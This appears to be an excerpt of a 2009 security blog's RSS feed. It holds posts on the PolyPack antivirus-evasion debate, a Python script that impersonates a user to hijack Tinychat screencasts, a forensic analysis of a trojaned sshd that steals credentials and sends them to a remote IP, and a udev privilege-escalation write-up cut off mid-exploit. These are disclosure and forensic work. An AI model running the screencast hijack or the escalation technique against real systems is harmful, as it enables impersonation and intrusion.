<p>PolyPack has caused some interesting debate between antivirus vendors [<a href="http://threatpost.com/blogs/some-researchers-lack-basic-ethics">1</a>] and members of the security community [<a href="http://erratasec.blogspot.com/2009/08/astroturfing-av-when-wolves-guard-hen.html">1</a>, <a href="http://blog.damballa.com/?p=304">2</a>, <a href="http://www.computerdefense.org/2009/08/what-is-ethical/">3</a>] on the ethics of publishing research that demonstrates the failure of current signature-based antivirus products. As ethics can be quite subjective, I would recommend to the reader that they observe the arguments on both sides of the aisle, view the paper and materials on the PolyPack website (the actual service is restricted from public use, of course), and make a decision for themselves.</p>
<p>If you&#8217;re a penetration tester or researcher and would like access to the PolyPack service, drop me a line.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/08/10/polypack-at-usenix-woot-09/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hijacking Tinychat Screencasts</title>
		<link>http://jon.oberheide.org/blog/2009/07/12/hijacking-tinychat-screencasts/</link>
		<comments>http://jon.oberheide.org/blog/2009/07/12/hijacking-tinychat-screencasts/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 11:39:01 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=271</guid>
		<description><![CDATA[Tinychat is a sweet site that allows for simple chat, video conferencing, and screencasting.  In this post, I&#8217;ll detail how to hijack Tinychat screencasts by injecting images of your own.

I had played with Tinychat recently and decided to poke at it some more when mubix held a Metasploit-related screencast a couple days ago.  Tinychat&#8217;s multimedia [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://tinychat.com">Tinychat</a> is a sweet site that allows for simple chat, video conferencing, and screencasting.  In this post, I&#8217;ll detail how to hijack Tinychat screencasts by injecting images of your own.</p>
<p><span id="more-271"></span></p>
<p>I had played with Tinychat recently and decided to poke at it some more when <a href="http://www.room362.com/">mubix</a> held a Metasploit-related screencast a couple days ago.  Tinychat&#8217;s multimedia features operate with a mix of JavaScript, Java, and Flash.  Just looking at the initial JavaScript used to set up the screencasting applet set off some alarms:</p>
<div class="syntax">
<pre><span class="kd">function</span> <span class="nx">do_sc</span> <span class="p">(</span><span class="nx">user</span><span class="p">,</span> <span class="nx">uid</span><span class="p">,</span> <span class="nx">roomVar</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">un</span> <span class="o">=</span> <span class="nx">user</span><span class="p">;</span>
    <span class="kd">var</span> <span class="nx">id</span> <span class="o">=</span> <span class="nx">uid</span><span class="p">;</span>
    <span class="kd">var</span> <span class="nx">room</span> <span class="o">=</span> <span class="nx">roomVar</span><span class="p">;</span>
    <span class="kd">var</span> <span class="nx">roompass</span> <span class="o">=</span> <span class="s2">"hi"</span><span class="p">;</span>
    <span class="c1">// alert ( "screen cap " + un + " " + uid + " " + room );</span>
<span class="nx">$</span><span class="p">(</span><span class="s2">"#cap"</span><span class="p">).</span><span class="nx">html</span> <span class="p">(</span> <span class="s2">"&lt;applet archive='ScreenCap.jar' code='TinyChat.Main.class'</span>
<span class="s2">                  width='0' height='0' name='TinyChat ScreenCap' MAYSCRIPT&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='username' value='"</span> <span class="o">+</span> <span class="nx">un</span> <span class="o">+</span> <span class="s2">"'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='userid' value='"</span> <span class="o">+</span> <span class="nx">id</span> <span class="o">+</span> <span class="s2">"'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='roomname' value='"</span> <span class="o">+</span> <span class="nx">room</span> <span class="o">+</span> <span class="s2">"'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='roompass' value='"</span> <span class="o">+</span> <span class="nx">roompass</span> <span class="o">+</span> <span class="s2">"'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='postdomain' value='tinychat.com'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='postlocation' value='/sc'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='capturefps' value='1'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='java_arguments' value='-d32'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;param name='savetofile' value='false'/&gt;"</span> <span class="o">+</span>
                         <span class="s2">"&lt;/applet&gt;"</span> <span class="p">);</span></pre>
</div>
<p>Hrm, so it looks like the screencasting applet POSTs to &#8220;http://tinychat.com/sc&#8221;.  One would assume that the applet posts some sort of image data to that URL to update the broadcast &#8220;capturefps&#8221; times per second.  There&#8217;s also a number of parameters that are likely relevant to the /sc POST.  Most suspicious are the username/userid attributes.  Are these values authenticated or can anyone post screencast updates using the identify of another user?  As we&#8217;ll see, it is the latter.</p>
<p>If we yank down the ScreenCap.jar and disassemble CaptureArea.class, we gain more insight into the POST process:</p>
<div class="syntax">
<pre><span class="mi">...
153</span><span class="p">:</span> <span class="n">ldc_w</span>   <span class="c">#514; //String roomname</span>
<span class="mi">156</span><span class="p">:</span> <span class="n">aload_0</span>
<span class="mi">157</span><span class="p">:</span> <span class="n">getfield</span>    <span class="c">#87; //Field roomName:Ljava/lang/String;</span>
<span class="mi">160</span><span class="p">:</span> <span class="n">invokevirtual</span>   <span class="c">#505; //Method TinyChat/MultiPartFormOutputStream</span>
                           <span class="c">.</span><span class="c">writeField</span><span class="p">:(</span><span class="c">Ljava</span><span class="c">/</span><span class="c">lang</span><span class="c">/</span><span class="c">String</span><span class="c">;</span><span class="c">Ljava</span><span class="c">/</span><span class="c">lang</span><span class="c">/</span><span class="c">String</span><span class="c">;)</span><span class="c">V</span>
<span class="mi">163</span><span class="p">:</span> <span class="n">aload</span>   <span class="mi">6</span>
<span class="mi">165</span><span class="p">:</span> <span class="n">ldc_w</span>   <span class="c">#516; //String roompass</span>
<span class="mi">168</span><span class="p">:</span> <span class="n">aload_0</span>
<span class="mi">169</span><span class="p">:</span> <span class="n">getfield</span>    <span class="c">#89; //Field roomPass:Ljava/lang/String;</span>
<span class="mi">172</span><span class="p">:</span> <span class="n">invokevirtual</span>   <span class="c">#505; //Method TinyChat/MultiPartFormOutputStream</span>
                           <span class="c">.</span><span class="c">writeField</span><span class="c">:(</span><span class="c">Ljava</span><span class="c">/</span><span class="c">lang</span><span class="c">/</span><span class="c">String</span><span class="c">;</span><span class="c">Ljava</span><span class="c">/</span><span class="c">lang</span><span class="c">/</span><span class="c">String</span><span class="c">;)</span><span class="c">V</span>
<span class="mi">175</span><span class="p">:</span> <span class="n">new</span> <span class="c">#403; //class File</span>
<span class="mi">178</span><span class="p">:</span> <span class="n">dup</span>
<span class="mi">179</span><span class="p">:</span> <span class="n">ldc_w</span>   <span class="c">#518; //String screenshot.jpg</span>
<span class="mi">182</span><span class="p">:</span> <span class="n">invokespecial</span>   <span class="c">#407; //Method java/io/File."&lt;init&gt;":(Ljava/lang/String;)V</span>
<span class="mi">185</span><span class="p">:</span> <span class="n">astore</span>  <span class="mi">7</span>
...</pre>
</div>
<p>The disassembly lists a number of the attributes already listed in the &lt;param&gt; fields and also the correct parameter name (&#8221;screenshot&#8221;) and filename (&#8221;screenshot.jpg&#8221;) for the JPG image data that we must send in a multipart/form-data POST to the /sc URI.  So I whipped up some quick python to continually POST an image of my choosing (my cat) to the Metasploit Tinychat room under mubix&#8217;s username:</p>
<div class="syntax">
<pre><span class="n">fields</span> <span class="o">=</span> <span class="p">[</span>
    <span class="p">(</span><span class="s">'username'</span><span class="p">,</span> <span class="s">'mubix_dsktp'</span><span class="p">),</span>
    <span class="p">(</span><span class="s">'roomname'</span><span class="p">,</span> <span class="s">'metasploit_fun'</span><span class="p">),</span>
    <span class="p">(</span><span class="s">'roompass'</span><span class="p">,</span> <span class="s">'hi'</span><span class="p">),</span>
    <span class="p">(</span><span class="s">'savetofile'</span><span class="p">,</span> <span class="s">'true'</span><span class="p">)</span>
<span class="p">]</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">[</span>
    <span class="p">(</span><span class="s">'screenshot'</span><span class="p">,</span> <span class="s">'screenshot.jpg'</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s">'cat.jpg'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="p">]</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">multipart</span><span class="o">.</span><span class="n">post_multipart</span><span class="p">(</span><span class="s">'tinychat.com'</span><span class="p">,</span> <span class="s">'/sc'</span><span class="p">,</span> <span class="n">fields</span><span class="p">,</span> <span class="n">files</span><span class="p">)</span></pre>
</div>
<p>What resulted was a successful hijack of the Tinychat screencast!  Thankfully Sly was taking a screencast of the Tinychat screencast and later posted the video on YouTube.  Here&#8217;s a screenshot of the YouTube video of the screencast of the screencast (head explodes!) showing the cat image injection in action:</p>
<p style="text-align: center;"><a href="http://jon.oberheide.org/blog/wp-content/uploads/2009/07/tinycat.png"><img class="size-full wp-image-343  aligncenter" title="tinycat" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/07/tinycat.png" alt="tinycat" width="540" height="513" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/07/12/hijacking-tinychat-screencasts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analysis of a Trojaned ssh/sshd</title>
		<link>http://jon.oberheide.org/blog/2009/06/30/analysis-of-a-trojaned-ssh-sshd/</link>
		<comments>http://jon.oberheide.org/blog/2009/06/30/analysis-of-a-trojaned-ssh-sshd/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 10:21:09 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=187</guid>
		<description><![CDATA[Some information about a trojaned ssh client and sshd server discovered in a recent compromise.  I didn&#8217;t find any details on this particular OpenSSH backdoor via Google, so hopefully this information will be of use to anyone who runs into it on their boxes.

The compromise of a group of small number of Linux boxes in [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Some information about a trojaned ssh client and sshd server discovered in a recent compromise.  I didn&#8217;t find any details on this particular OpenSSH backdoor via Google, so hopefully this information will be of use to anyone who runs into it on their boxes.</p>
<p style="text-align: left;"><span id="more-187"></span></p>
<p style="text-align: left;">The compromise of a group of small number of Linux boxes in a University unit was first discovered when the attackers began launching ssh brute force attacks from the boxes.  Right off the bat, it was clear from the noisy activity that the attackers were not very sophisticated and did not recognize the immediate value of the compromised boxes.</p>
<p style="text-align: left;">Upon inspection of the filesystem, metadata showed that /usr/bin/ssh, /usr/sbin/sshd, and /usr/include/net/if_log.h had all been modified recently.  While the attackers had taken care to ensure the modified ssh and sshd binaries matched their original file sizes, the modification times were not manipulated.</p>
<p style="text-align: left;">if_log.h, a fake header file stashed in /usr/include/net, was full of high entropy binary data and looked awfully suspicious:</p>
<pre style="text-align: left;">00000000  bf 69 28 39 3c 4a af cc  e9 28 ac 84 9a 8c f3 53  |.i(9&lt;J...(.....S|
00000010  5e cb fa e4 5d ae be 0c  96 b0 5d ae 81 9f 7d 02  |^...].....]...}.|
00000020  0d 82 a7 54 ef 61 3e 32  aa 68 e6 83 57 17 db b6  |...T.a&gt;2.h..W...|
00000030  f7 a4 6a 2f 5b d3 e7 18  34 3e bc 1d e8 b4 e0 e0  |..j/[...4&gt;......|
...</pre>
<p style="text-align: left;">Running a quick strings(1) on the modified sshd binary confimed the presence of the if_log.h string reference, strongly indicating that the if_log.h was an encrypted dump of passwords from the trojaned ssh/sshd.</p>
<p style="text-align: left;">Since we'd certainly like to know what users/passwords may have been stolen by the attackers in order to assess the risk to the rest of the network, I dug into the backdoored binaries for details.  If we pull up the backdoored sshd in IDA and search for our "if_log.h" string, we find it in the rodata section along wth a number of other interesting strings:</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;"><img class="size-full wp-image-307 aligncenter" title="1" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/03/1.png" alt="1" width="500" height="261" /></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">The hardcoded IP address, FRM_IP/USER/PASS format string, and long hexadecimal key-looking values are obviously out of place in a sshd binary.  Looking at the references to those strings, we find the sshpam_respond() from auth-pam.c function:</p>
<p style="text-align: center;"><img class="size-full wp-image-308 aligncenter" title="2" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/03/2.png" alt="2" width="561" height="424" /></p>
<p style="text-align: left;">For those not familiar with the OpenSSH codebase, auth-pam.c contains the routines to handle standard password-based authentication, which is a logical place for inserting password logging code.  We can see that our FRM_IP format string is being filled in via the sprintf() with the credentials of the user who just authenticated via PAM. Later in sshpam_respond(), we see that this string is dumped out to the if_log.h file:</p>
<p style="text-align: center;"><img class="size-full wp-image-309 aligncenter" title="3" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/03/3.png" alt="3" width="542" height="405" /></p>
<p style="text-align: left;">Not only is the information being saved locally, but it is also being fired across the network via UDP to our mystery IP address, 63.118.58.1.</p>
<p style="text-align: center;"><img class="size-full wp-image-310 aligncenter" title="4" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/03/4.png" alt="4" width="491" height="353" /></p>
<p style="text-align: left;">While we now know where the captured credentials are being stored/sent, we've yet to look at the routine that is encrypting this data before dumping it out.  Before the trojaned routines fopen() the if_log.h to dump the credentials, we see a reference to the long hexadecimal string we encountered previously and a function call (sub_806a7a0).  Sure looks like an encryption routine to me!  The full disassembly of sub_806a7a0() follows:</p>
<pre style="text-align: left;"><span style="color: black;">.text:0806A7A0 </span>; int __cdecl sub_806A7A0(void *dest, int, size_t n, int)
<span style="color: black;">.text:0806A7A0 </span>sub_806A7A0     proc near               <span style="color: green;">; CODE XREF: sub_8050900+20Ep
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">; sub_8050900+403p ...
</span><span style="color: black;">.text:0806A7A0
.text:0806A7A0 </span><span style="color: green;">s </span><span style="color: navy;">= byte ptr </span><span style="color: #008040;">-1E94E8h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">var_1068 </span><span style="color: navy;">= byte ptr </span><span style="color: #008040;">-1068h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">var_20 </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">-20h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">var_1C </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">-1Ch
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">var_18 </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">-18h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">var_14 </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">-14h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">var_10 </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">-10h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">dest </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">8
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">arg_4 </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">0Ch
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">n </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">10h
</span><span style="color: black;">.text:0806A7A0 </span><span style="color: green;">arg_C </span><span style="color: navy;">= dword ptr </span><span style="color: #008040;">14h
</span><span style="color: black;">.text:0806A7A0
.text:0806A7A0 </span><span style="color: navy;">push    ebp
</span><span style="color: black;">.text:0806A7A1 </span><span style="color: navy;">mov     ebp, esp
</span><span style="color: black;">.text:0806A7A3 </span><span style="color: navy;">push    edi
</span><span style="color: black;">.text:0806A7A4 </span><span style="color: navy;">push    esi
</span><span style="color: black;">.text:0806A7A5 </span><span style="color: navy;">push    ebx
</span><span style="color: black;">.text:0806A7A6 </span><span style="color: navy;">sub     esp, </span><span style="color: green;">1E94FCh
</span><span style="color: black;">.text:0806A7AC </span><span style="color: navy;">mov     edi, [ebp+</span><span style="color: green;">arg_4</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A7AF </span><span style="color: navy;">lea     esi, [ebp+</span><span style="color: green;">s</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A7B5 </span><span style="color: navy;">lea     ebx, [ebp+</span><span style="color: green;">var_1068</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A7BB </span><span style="color: navy;">mov     [esp], esi
</span><span style="color: black;">.text:0806A7BE </span><span style="color: navy;">mov     [ebp+</span><span style="color: green;">var_10</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A7C5 </span><span style="color: navy;">mov     dword ptr [esp+</span><span style="color: green;">8</span><span style="color: navy;">], </span><span style="color: green;">1E8480h
</span><span style="color: black;">.text:0806A7CD </span><span style="color: navy;">mov     dword ptr [esp+</span><span style="color: green;">4</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A7D5 </span><span style="color: navy;">call </span>_memset
<span style="color: black;">.text:0806A7DA </span><span style="color: navy;">mov     [esp], ebx
</span><span style="color: black;">.text:0806A7DD </span><span style="color: navy;">mov     [ebp+</span><span style="color: green;">var_20</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A7E4 </span><span style="color: navy;">mov     [ebp+</span><span style="color: green;">var_1C</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A7EB </span><span style="color: navy;">mov     [ebp+</span><span style="color: green;">var_18</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A7F2 </span><span style="color: navy;">mov     [ebp+</span><span style="color: green;">var_14</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A7F9 </span><span style="color: navy;">mov     dword ptr [esp+</span><span style="color: green;">8</span><span style="color: navy;">], </span><span style="color: green;">1048h
</span><span style="color: black;">.text:0806A801 </span><span style="color: navy;">mov     dword ptr [esp+</span><span style="color: green;">4</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A809 </span><span style="color: navy;">call </span>_memset
<span style="color: black;">.text:0806A80E </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">8</span><span style="color: navy;">], edi
</span><span style="color: black;">.text:0806A812 </span><span style="color: navy;">mov     [esp], edi
</span><span style="color: black;">.text:0806A815 </span><span style="color: navy;">call </span>_strlen
<span style="color: black;">.text:0806A81A </span><span style="color: navy;">mov     [esp], ebx
</span><span style="color: black;">.text:0806A81D </span><span style="color: navy;">sub     eax, </span><span style="color: green;">1
</span><span style="color: black;">.text:0806A820 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">4</span><span style="color: navy;">], eax
</span><span style="color: black;">.text:0806A824 </span><span style="color: navy;">call </span>_BF_set_key
<span style="color: black;">.text:0806A829 </span><span style="color: navy;">mov     eax, [ebp+</span><span style="color: green;">arg_C</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A82C </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">0Ch</span><span style="color: navy;">], ebx
</span><span style="color: black;">.text:0806A830 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">4</span><span style="color: navy;">], esi
</span><span style="color: black;">.text:0806A834 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">18h</span><span style="color: navy;">], eax
</span><span style="color: black;">.text:0806A838 </span><span style="color: navy;">lea     eax, [ebp+</span><span style="color: green;">var_10</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A83B </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">14h</span><span style="color: navy;">], eax
</span><span style="color: black;">.text:0806A83F </span><span style="color: navy;">lea     eax, [ebp+</span><span style="color: green;">var_20</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A842 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">10h</span><span style="color: navy;">], eax
</span><span style="color: black;">.text:0806A846 </span><span style="color: navy;">mov     eax, [ebp+</span><span style="color: green;">n</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A849 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">8</span><span style="color: navy;">], eax
</span><span style="color: black;">.text:0806A84D </span><span style="color: navy;">mov     eax, [ebp+</span><span style="color: green;">dest</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A850 </span><span style="color: navy;">mov     [esp], eax
</span><span style="color: black;">.text:0806A853 </span><span style="color: navy;">call </span>_BF_cfb64_encrypt
<span style="color: black;">.text:0806A858 </span><span style="color: navy;">mov     eax, [ebp+</span><span style="color: green;">dest</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A85B </span><span style="color: navy;">mov     dword ptr [eax], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A861 </span><span style="color: navy;">mov     eax, [ebp+</span><span style="color: green;">n</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A864 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">4</span><span style="color: navy;">], esi
</span><span style="color: black;">.text:0806A868 </span><span style="color: navy;">mov     [esp+</span><span style="color: green;">8</span><span style="color: navy;">], eax
</span><span style="color: black;">.text:0806A86C </span><span style="color: navy;">mov     eax, [ebp+</span><span style="color: green;">dest</span><span style="color: navy;">]
</span><span style="color: black;">.text:0806A86F </span><span style="color: navy;">mov     [esp], eax
</span><span style="color: black;">.text:0806A872 </span><span style="color: navy;">call </span>_memcpy
<span style="color: black;">.text:0806A877 </span><span style="color: navy;">mov     [esp], esi
</span><span style="color: black;">.text:0806A87A </span><span style="color: navy;">mov     dword ptr [esp+</span><span style="color: green;">8</span><span style="color: navy;">], </span><span style="color: green;">1E8480h
</span><span style="color: black;">.text:0806A882 </span><span style="color: navy;">mov     dword ptr [esp+</span><span style="color: green;">4</span><span style="color: navy;">], </span><span style="color: green;">0
</span><span style="color: black;">.text:0806A88A </span><span style="color: navy;">call </span>_memset
<span style="color: black;">.text:0806A88F </span><span style="color: navy;">add     esp, </span><span style="color: green;">1E94FCh
</span><span style="color: black;">.text:0806A895 </span><span style="color: navy;">pop     ebx
</span><span style="color: black;">.text:0806A896 </span><span style="color: navy;">pop     esi
</span><span style="color: black;">.text:0806A897 </span><span style="color: navy;">pop     edi
</span><span style="color: black;">.text:0806A898 </span><span style="color: navy;">pop     ebp
</span><span style="color: black;">.text:0806A899 </span><span style="color: navy;">retn
</span><span style="color: black;">.text:0806A899 </span>sub_806A7A0     endp</pre>
<p style="text-align: left;">Translating this into some C code looks like:</p>
<div class="syntax">
<pre><span class="kt">int</span>
<span class="nf">haxor_blowfish</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">enc</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">BF_KEY</span> <span class="n">bf_key</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">retarded_buffer</span><span class="p">[</span><span class="mi">2000000</span><span class="p">];</span>

    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">ivec</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ivec</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ivec</span><span class="p">));</span>
    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">retarded_buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">retarded_buffer</span><span class="p">));</span>

    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bf_key</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">bf_key</span><span class="p">));</span>

    <span class="n">BF_set_key</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bf_key</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">key</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">key</span><span class="p">);</span>

    <span class="n">BF_cfb64_encrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">retarded_buffer</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bf_key</span><span class="p">,</span> <span class="n">ivec</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">num</span><span class="p">,</span> <span class="n">enc</span><span class="p">);</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">retarded_buffer</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">retarded_buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">retarded_buffer</span><span class="p">));</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></pre>
</div>
<p style="text-align: left;">It&#8217;s clear from some of the attributes of the code (2MB buffer on the stack, strlen(key)-1, unused IV, ending memsets) that the attackers (or at least the authors of the trojaned code) are not particularly sophiscated/skilled.</p>
<p style="text-align: left;">Running our decryption code reveals the plaintext of the affected usernames and passwords that have been captured by the trojaned binaries (NOTE: these usernames and passwords are fake and not the real ones involved in the compromise):</p>
<pre style="text-align: left;">jonojono@dionysus ~/bfdecrypt $ ./bfdecrypt if_log.h.fake
FRM_IP: 141.212.110.114 -- USER: sushant -- PASS: tea4free
FRM_IP: 141.212.110.191 -- USER: kborders -- PASS: wEbtAprUlEz
TO_IP: 141.212.110.70 -- USER: zmao -- PASS: i-&lt;3-beacons</pre>
<p style="text-align: left;">The FRM_IP lines are credentials captured by incoming sshd server connections while the TO_IP lines are credentials captured by outgoing ssh client connections from the compromised machine.</p>
<p style="text-align: left;">Now that we know how the trojaned ssh/sshd binaries operated, we can widen our forensic investigation to the other hosts that may have been affected, notify the users that their credentials have been compromised, and start combing through NetFlow to determine who else may have talked to that destination IP address.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/06/30/analysis-of-a-trojaned-ssh-sshd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>udev Local Privilege Escalation</title>
		<link>http://jon.oberheide.org/blog/2009/04/20/udev-local-privilege-escalation/</link>
		<comments>http://jon.oberheide.org/blog/2009/04/20/udev-local-privilege-escalation/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:36:16 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=264</guid>
		<description><![CDATA[A recent bug found by Sebastian Krahmer in udev has considerable security impact across a wide range of Linux distributions.
At the core of the vulnerability is the udevd daemon, responsible for receiving and handling various device events from the kernel.  These events are delivered to udevd via netlink, a socket family (AF_NETLINK) commonly used for [...]]]></description>
			<content:encoded><![CDATA[<p>A recent bug found by <a href="http://c-skills.blogspot.com">Sebastian Krahmer</a> in udev has considerable security impact across a wide range of Linux distributions.</p>
<p><span id="more-264"></span>At the core of the vulnerability is the udevd daemon, responsible for receiving and handling various device events from the kernel.  These events are delivered to udevd via <a href="http://en.wikipedia.org/wiki/Netlink">netlink</a>, a socket family (AF_NETLINK) commonly used for IPC between userspace applications and the kernel.  However, netlink is not exclusively for kernel/userspace communication and can also be used to send messages between userspace applications.</p>
<p>The udev vulnerability resulted from a lack of verification of the netlink message source in udevd.  Since udev is a privileged process and may perform operations as direct result form the netlink messages, it must verify that these messages have come from a trusted source (eg. the kernel).  Unfortunately, as it does not perform such a check, an unprivileged userspace application can send a netlink message to the udev daemon and trick it into performing an operation that results in privilege escalation.</p>
<p>This vulnerability was fixed by adding the following checks in this <a href="http://git.kernel.org/?p=linux/hotplug/udev.git;a=commitdiff;h=e86a923d508c2aed371cdd958ce82489cf2ab615">patch</a>:</p>
<pre>if (udev_monitor-&gt;snl.nl_family != 0) {
    if (snl.nl_groups == 0) {
        info(udev_monitor-&gt;udev, "unicast netlink message ignored\n");
        return NULL;
    }
    if ((snl.nl_groups == UDEV_MONITOR_KERNEL) &amp;&amp; (snl.nl_pid &gt; 0)) {
        info(udev_monitor-&gt;udev, "multicast kernel netlink message from pid %d ignored\n", snl.nl_pid);
        return NULL;
    }
}</pre>
<p>Exploiting this vulnerability is interesting because there&#8217;s a number of creative ways one could go about tricking udev into elevating privileges.  In kcope&#8217;s <a href="http://milw0rm.com/exploits/8478">exploit</a>, he sets a malicious LD_PRELOAD so that when udev fires off its event handling process, his /tmp/suid shell will be granted the setuid bit.  In my exploit, I chose to use some of the existing rule-based functionality of udev to elevate privileges.</p>
<p>In particular, udev has a rule file called &#8220;95-udev-late.rules&#8221; (likely in your /lib/udev/rules.d/ directory) which contains the following rule:</p>
<pre>ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"</pre>
